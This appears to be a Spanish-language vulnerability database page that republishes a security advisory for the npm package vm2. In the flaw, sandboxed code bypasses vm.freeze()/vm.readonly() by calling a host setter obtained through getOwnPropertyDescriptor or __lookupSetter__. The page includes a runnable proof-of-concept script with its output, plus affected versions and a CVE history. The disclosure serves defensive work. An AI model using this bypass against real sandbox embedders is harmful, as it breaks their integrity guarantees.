Media

vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor

  • Publicada: 01.10.2026
  • Actualizado: 11.10.2026 10:22

Summary

Untrusted JavaScript running inside new VM().run() / new NodeVM().run() can bypass vm.freeze() / vm.readonly() and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via Object.getOwnPropertyDescriptor() and call it directly; the call lands in BaseHandler.apply which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default VM/NodeVM options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via __lookupSetter__.

PoC

js
// poc.js
'use strict';
const { VM } = require('vm2');

let _level = 'safe';
const hostConfig = Object.defineProperty({}, 'level', {
  get() { return _level; },
  set(v) { _level = String(v); },
  enumerable: true, configurable: true,
});

const vm = new VM();
vm.freeze(hostConfig, 'cfg');

// Baseline - documented barriers hold:
vm.run(`cfg.level = 'via-set';`);
vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);
console.log('after [[Set]]/defineProperty:', _level);   // → "safe"

// Bypass - sandbox mutates host via accessor descriptor:
vm.run(`
  const d = Object.getOwnPropertyDescriptor(cfg, 'level');
  d.set.call(cfg, 'PWNED');
`);
console.log('after getOwnPropertyDescriptor→set.call:', _level);   // → "PWNED"

// Variant - same sink via __lookupSetter__:
vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);
console.log('after __lookupSetter__:', _level);   // → "PWNED-2"
bash
node poc.js

Observed output:

after [[Set]]/defineProperty: safe
after getOwnPropertyDescriptor→set.call: PWNED
after __lookupSetter__: PWNED-2

The first line shows ReadOnlyHandler's documented traps work; the next two show the sandbox mutated the host-side _level despite vm.freeze().

Impact

A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via vm.freeze() / vm.readonly(), defeating the read-only contract. Data properties are not affected (ReadOnlyHandler.set / .defineProperty block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. set scriptPath(v), set handler(fn)), this becomes a stepping-stone to host code execution in that embedder.

Preconditions: embedder calls vm.freeze()/vm.readonly() on a host object that has at least one accessor own-property. Default VM/NodeVM options otherwise. Blast radius: integrity of the specific frozen host object(s); downstream impact is embedder-defined. Persistence: as persistent as the host object (typically process-lifetime).

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm vm2 >= 3.9.6, < 3.11.7 3.11.7

Referencias

Puntuación CVSS 4/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Debilidad (CWE)
CWE-471, CWE-693
Plataforma
npm
Paquete
vm2
Publicada
01.10.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-633r-hq9m-c4ff - CC BY 4.0

Historial de vulnerabilidades: vm2

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (78) en el archivo
Entradas en total
78
Primera → última
10.2021 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 51
  • Alta 14
  • Media 12
  • Baja 1

Divulgaciones por año

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Gravedad:
  1. Crítica · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Crítica · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Crítica · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Crítica · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Crítica · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Crítica · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor esta entrada
    Media · 4.0 CVE-2026-92949 >= 3.9.6, < 3.11.7 3.11.7
  8. Crítica · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Crítica · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Crítica · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Crítica · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Crítica · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Crítica · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Alta · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Crítica · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Crítica · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Crítica · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Crítica · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Crítica · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Crítica · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Crítica · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  22. Crítica · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  23. Crítica · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  24. Crítica · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  25. Crítica · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  26. Crítica · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  27. Crítica · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  28. Crítica · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  29. Crítica · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  30. Crítica · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  31. Crítica · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  32. Crítica · 9.8 CVE-2023-37903 <= 3.9.19 sin corrección
  33. Crítica · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  34. Crítica · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  35. Crítica · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
Mostrar más (6) Mostrando 60 de 66

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.